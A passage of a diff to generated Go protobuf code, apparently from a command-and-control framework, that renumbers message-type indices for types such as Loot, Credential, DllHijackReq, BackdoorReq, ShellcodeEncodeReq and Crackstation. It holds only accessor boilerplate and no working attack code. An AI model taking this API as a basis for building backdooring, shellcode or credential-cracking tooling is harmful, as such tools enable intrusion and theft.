protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6184,7 +6139,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6197,7 +6152,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *Websites) GetWebsites() []*Website { @@ -6221,7 +6176,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6234,7 +6189,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6247,7 +6202,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6294,7 +6249,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6307,7 +6262,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6320,7 +6275,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *Loot) GetID() string { @@ -6376,7 +6331,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6389,7 +6344,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6402,7 +6357,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *AllLoot) GetLoot() []*Loot { @@ -6426,7 +6381,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6439,7 +6394,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6452,7 +6407,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *IOC) GetPath() string { @@ -6487,7 +6442,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6500,7 +6455,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6513,7 +6468,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *ExtensionData) GetOutput() string { @@ -6540,7 +6495,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6553,7 +6508,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6566,7 +6521,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *Host) GetHostname() string { @@ -6629,7 +6584,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6642,7 +6597,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6655,7 +6610,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *AllHosts) GetHosts() []*Host { @@ -6682,7 +6637,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6695,7 +6650,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6708,7 +6663,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -6764,7 +6719,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6777,7 +6732,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6790,7 +6745,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -6813,7 +6768,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6826,7 +6781,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6839,7 +6794,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *BackdoorReq) GetFilePath() string { @@ -6874,7 +6829,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6887,7 +6842,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6900,7 +6855,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -6926,7 +6881,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6939,7 +6894,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6952,7 +6907,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{81} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -7009,7 +6964,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7022,7 +6977,7 @@ func (x *ShellcodeEncode) String() string { func (*ShellcodeEncode) ProtoMessage() {} func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[82] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7035,7 +6990,7 @@ func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead. func (*ShellcodeEncode) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{82} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *ShellcodeEncode) GetData() []byte { @@ -7063,7 +7018,7 @@ type ShellcodeEncoderMap struct { func (x *ShellcodeEncoderMap) Reset() { *x = ShellcodeEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7076,7 +7031,7 @@ func (x *ShellcodeEncoderMap) String() string { func (*ShellcodeEncoderMap) ProtoMessage() {} func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[83] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7089,7 +7044,7 @@ func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead. func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{83} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder { @@ -7111,7 +7066,7 @@ type ExternalGenerateReq struct { func (x *ExternalGenerateReq) Reset() { *x = ExternalGenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7124,7 +7079,7 @@ func (x *ExternalGenerateReq) String() string { func (*ExternalGenerateReq) ProtoMessage() {} func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[84] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7137,7 +7092,7 @@ func (x *ExternalGenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalGenerateReq.ProtoReflect.Descriptor instead. func (*ExternalGenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{84} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *ExternalGenerateReq) GetConfig() *ImplantConfig { @@ -7165,7 +7120,7 @@ type Builders struct { func (x *Builders) Reset() { *x = Builders{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7178,7 +7133,7 @@ func (x *Builders) String() string { func (*Builders) ProtoMessage() {} func (x *Builders) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[85] + mi := &file_clientpb_client_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7191,7 +7146,7 @@ func (x *Builders) ProtoReflect() protoreflect.Message { // Deprecated: Use Builders.ProtoReflect.Descriptor instead. func (*Builders) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{85} + return file_clientpb_client_proto_rawDescGZIP(), []int{84} } func (x *Builders) GetBuilders() []*Builder { @@ -7218,7 +7173,7 @@ type Builder struct { func (x *Builder) Reset() { *x = Builder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7231,7 +7186,7 @@ func (x *Builder) String() string { func (*Builder) ProtoMessage() {} func (x *Builder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[86] + mi := &file_clientpb_client_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7244,7 +7199,7 @@ func (x *Builder) ProtoReflect() protoreflect.Message { // Deprecated: Use Builder.ProtoReflect.Descriptor instead. func (*Builder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{86} + return file_clientpb_client_proto_rawDescGZIP(), []int{85} } func (x *Builder) GetName() string { @@ -7314,7 +7269,7 @@ type Credential struct { func (x *Credential) Reset() { *x = Credential{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7327,7 +7282,7 @@ func (x *Credential) String() string { func (*Credential) ProtoMessage() {} func (x *Credential) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[87] + mi := &file_clientpb_client_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7340,7 +7295,7 @@ func (x *Credential) ProtoReflect() protoreflect.Message { // Deprecated: Use Credential.ProtoReflect.Descriptor instead. func (*Credential) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{87} + return file_clientpb_client_proto_rawDescGZIP(), []int{86} } func (x *Credential) GetID() string { @@ -7410,7 +7365,7 @@ type Credentials struct { func (x *Credentials) Reset() { *x = Credentials{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7423,7 +7378,7 @@ func (x *Credentials) String() string { func (*Credentials) ProtoMessage() {} func (x *Credentials) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[88] + mi := &file_clientpb_client_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7436,7 +7391,7 @@ func (x *Credentials) ProtoReflect() protoreflect.Message { // Deprecated: Use Credentials.ProtoReflect.Descriptor instead. func (*Credentials) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{88} + return file_clientpb_client_proto_rawDescGZIP(), []int{87} } func (x *Credentials) GetCredentials() []*Credential { @@ -7458,7 +7413,7 @@ type Crackstations struct { func (x *Crackstations) Reset() { *x = Crackstations{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7471,7 +7426,7 @@ func (x *Crackstations) String() string { func (*Crackstations) ProtoMessage() {} func (x *Crackstations) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[89] + mi := &file_clientpb_client_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7484,7 +7439,7 @@ func (x *Crackstations) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstations.ProtoReflect.Descriptor instead. func (*Crackstations) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{89} + return file_clientpb_client_proto_rawDescGZIP(), []int{88} } func (x *Crackstations) GetCrackstations() []*Crackstation { @@ -7510,7 +7465,7 @@ type CrackstationStatus struct { func (x *CrackstationStatus) Reset() { *x = CrackstationStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7523,7 +7478,7 @@ func (x *CrackstationStatus) String() string { func (*CrackstationStatus) ProtoMessage() {} func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[90] + mi := &file_clientpb_client_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7536,7 +7491,7 @@ func (x *CrackstationStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackstationStatus.ProtoReflect.Descriptor instead. func (*CrackstationStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{90} + return file_clientpb_client_proto_rawDescGZIP(), []int{89} } func (x *CrackstationStatus) GetName() string { @@ -7593,7 +7548,7 @@ type CrackSyncStatus struct { func (x *CrackSyncStatus) Reset() { *x = CrackSyncStatus{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7606,7 +7561,7 @@ func (x *CrackSyncStatus) String() string { func (*CrackSyncStatus) ProtoMessage() {} func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[91] + mi := &file_clientpb_client_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7619,7 +7574,7 @@ func (x *CrackSyncStatus) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackSyncStatus.ProtoReflect.Descriptor instead. func (*CrackSyncStatus) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{91} + return file_clientpb_client_proto_rawDescGZIP(), []int{90} } func (x *CrackSyncStatus) GetSpeed() float32 { @@ -7649,7 +7604,7 @@ type CrackBenchmark struct { func (x *CrackBenchmark) Reset() { *x = CrackBenchmark{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7662,7 +7617,7 @@ func (x *CrackBenchmark) String() string { func (*CrackBenchmark) ProtoMessage() {} func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[92] + mi := &file_clientpb_client_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7675,7 +7630,7 @@ func (x *CrackBenchmark) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackBenchmark.ProtoReflect.Descriptor instead. func (*CrackBenchmark) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{92} + return file_clientpb_client_proto_rawDescGZIP(), []int{91} } func (x *CrackBenchmark) GetName() string { @@ -7716,7 +7671,7 @@ type CrackTask struct { func (x *CrackTask) Reset() { *x = CrackTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7729,7 +7684,7 @@ func (x *CrackTask) String() string { func (*CrackTask) ProtoMessage() {} func (x *CrackTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[93] + mi := &file_clientpb_client_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7742,7 +7697,7 @@ func (x *CrackTask) ProtoReflect() protoreflect.Message { // Deprecated: Use CrackTask.ProtoReflect.Descriptor instead. func (*CrackTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{93} + return file_clientpb_client_proto_rawDescGZIP(), []int{92} } func (x *CrackTask) GetID() string { @@ -7815,7 +7770,7 @@ type Crackstation struct { func (x *Crackstation) Reset() { *x = Crackstation{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7828,7 +7783,7 @@ func (x *Crackstation) String() string { func (*Crackstation) ProtoMessage() {} func (x *Crackstation) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[94] + mi := &file_clientpb_client_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7841,7 +7796,7 @@ func (x *Crackstation) ProtoReflect() protoreflect.Message { // Deprecated: Use Crackstation.ProtoReflect.Descriptor instead. func (*Crackstation) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{94} + return file_clientpb_client_proto_rawDescGZIP(), []int{93} } func (x *Crackstation) GetName() string { @@ -7941,7 +7896,7 @@ type CUDABackendInfo struct { func (x *CUDABackendInfo) Reset() { *x = CUDABackendInfo{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7954,7 +7909,7 @@ func (x *CUDABackendInfo) String() string { func (*CUDABackendInfo) ProtoMessage() {} func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[95] + mi := &file_clientpb_client_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7967,7 +7922,7 @@ func (x *CUDABackendInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use CUDABackendInfo.ProtoReflect.Descriptor instead. func 